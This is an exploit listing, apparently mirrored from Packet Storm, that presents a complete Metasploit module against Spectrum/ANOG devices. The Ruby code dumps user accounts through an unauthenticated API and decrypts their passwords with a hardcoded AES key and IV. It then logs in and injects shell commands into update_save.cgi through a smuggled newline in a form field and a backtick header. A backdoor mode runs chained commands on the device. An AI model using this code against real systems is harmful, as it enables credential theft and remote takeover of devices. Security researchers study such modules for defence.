Share
## https://sploitus.com/exploit?id=PACKETSTORM:218604
==================================================================================================================================
| # Title : Spectrum ANOG Device Credential Extraction and Command Injection RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets Spectrum/ANOG devices and combines credential extraction, password decryption, and remote command execution through an authenticated command-injection flaw.
[+] The module operates in multiple phases:
Device enumeration: Retrieves device identifiers (ID and MAC address) via a publicCmd API endpoint.
Credential extraction: Queries user accounts from configuration endpoints and decrypts stored passwords using a predefined AES-128-CBC key/IV pair.
Authentication handling: Supports both encrypted (RSA-based) and unencrypted login flows depending on the device response.
Command execution (RCE): Exploits a command injection vector in a CGI endpoint (update_save.cgi) by injecting shell commands through manipulated POST parameters and HTTP headers.
Backdoor mode: Attempts to execute system-level commands to stage persistence-like behavior on the target device after authentication.
[+] The module supports three operational modes:
EXTRACT: Dumps and decrypts device user credentials.
RCE: Logs in using extracted credentials and executes a user-defined command.
BACKDOOR: Attempts to execute chained system commands to establish persistence.
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Spectrum/ANOG Device - Credential Extractor and RCE',
'Description' => 'Extract credentials and exploit command injection',
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'DefaultAction' => 'EXTRACT'
))
register_options([
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('COMMAND', [false, 'Command', 'id'])
])
end
AES_KEYS = [
['0vMAXsPECTRUMnANUGOcErritos16220', 'dIgItALwATCHdOG3']
].freeze
def get_device_info
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
'ctype' => 'application/json',
'data' => { command: 'getDeviceInfo' }.to_json
})
return [nil, nil] unless res && res.code == 200
json = res.get_json_document rescue nil
return [nil, nil] unless json.is_a?(Hash)
reply = json['reply']
return [nil, nil] unless reply.is_a?(Hash)
[reply['id'], reply['mac']]
end
def get_users(id, mac)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
'ctype' => 'application/json',
'data' => {
method: 'get',
command: 'setup/general/user',
id: id,
mac: mac
}.to_json
})
return [] unless res && res.code == 200
json = res.get_json_document rescue nil
return [] unless json.is_a?(Hash)
reply = json['reply']
return [] unless reply.is_a?(Hash)
reply['users'] || []
end
def decrypt_password(enc)
require 'base64'
require 'openssl'
data = Base64.decode64(enc)
AES_KEYS.each do |key, iv|
begin
cipher = OpenSSL::Cipher.new('AES-128-CBC')
cipher.decrypt
cipher.key = key
cipher.iv = iv
dec = cipher.update(data) + cipher.final
padding = dec[-1].ord
dec = dec[0...-padding] if padding.between?(1, 16)
return dec
rescue
next
end
end
nil
end
def login(username, password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login.cgi')
})
return nil unless res
if res.body.include?('rsa_pub_key') && res.body.include?('rsa_session_key')
return encrypted_login(username, password, res)
end
unencrypted_login(username, password)
end
def unencrypted_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
'vars_post' => {
login_os: 'win',
login_type: '1',
login_id: username,
login_pwd: password
}
})
return nil unless res
if res.code == 302 && res.headers['Location'] && !res.headers['Location'].include?('login.cgi')
return res.get_cookies
end
nil
end
def encrypted_login(username, password, res)
cookies = res.get_cookies
pub = extract_rsa(res.body, 'rsa_pub_key')
sess = extract_rsa(res.body, 'rsa_session_key')
return nil unless pub && sess
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
'cookie' => cookies,
'vars_post' => {
login_os: 'win',
login_type: rsa_encrypt('1', pub),
enc_uid: rsa_encrypt(username, pub),
enc_upwd: rsa_encrypt(password, pub),
rsa_session: sess,
rnd_key: rand(64)
}
})
cookies
end
def extract_rsa(body, key)
return $1 if body =~ /"#{key}"\s*:\s*"([^"]+)"/
nil
end
def rsa_encrypt(data, pub)
require 'openssl'
require 'base64'
key = OpenSSL::PKey::RSA.new(Base64.decode64(pub))
Base64.strict_encode64(key.public_encrypt(data))
rescue
data
end
def execute_command(cookies, cmd, cmd2 = nil)
category = 'setup_network_https_cert_view'
cert_name = "a\" # \n #{cmd} # \""
headers = {}
headers['abcdef'] = "ghi`#{cmd2}`jkl" if cmd2
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/update_save.cgi'),
'cookie' => cookies,
'vars_post' => {
category: category,
cert_name: cert_name
},
'headers' => headers
})
return nil unless res
res.body
end
def run_host(_ip)
case action.name
when 'EXTRACT'
extract_credentials
when 'RCE'
execute_rce_flow
when 'BACKDOOR'
install_backdoor
end
end
def extract_credentials
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
return if users.empty?
users.each do |u|
user = u['username']
pass = u['password']
next unless user && pass
dec = decrypt_password(pass)
print_good("#{user}:#{dec}") if dec
end
end
def execute_rce_flow
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
return if users.empty?
users.each do |u|
user = u['username']
pass = decrypt_password(u['password'])
next unless user && pass
cookies = login(user, pass)
next unless cookies
print_good("Logged in as #{user}")
res = execute_command(cookies, datastore['COMMAND'])
print_status(res) if res
break
end
end
def install_backdoor
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
users.each do |u|
user = u['username']
pass = decrypt_password(u['password'])
next unless user && pass
cookies = login(user, pass)
next unless cookies
cmd = "cp /proc/self/environ /tmp/.e0 # \n sh /tmp/.e0 # \n rm /tmp/.e0 #"
execute_command(cookies, cmd, "rm -f /tmp/.go.cgi")
print_good("Backdoor installed")
break
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================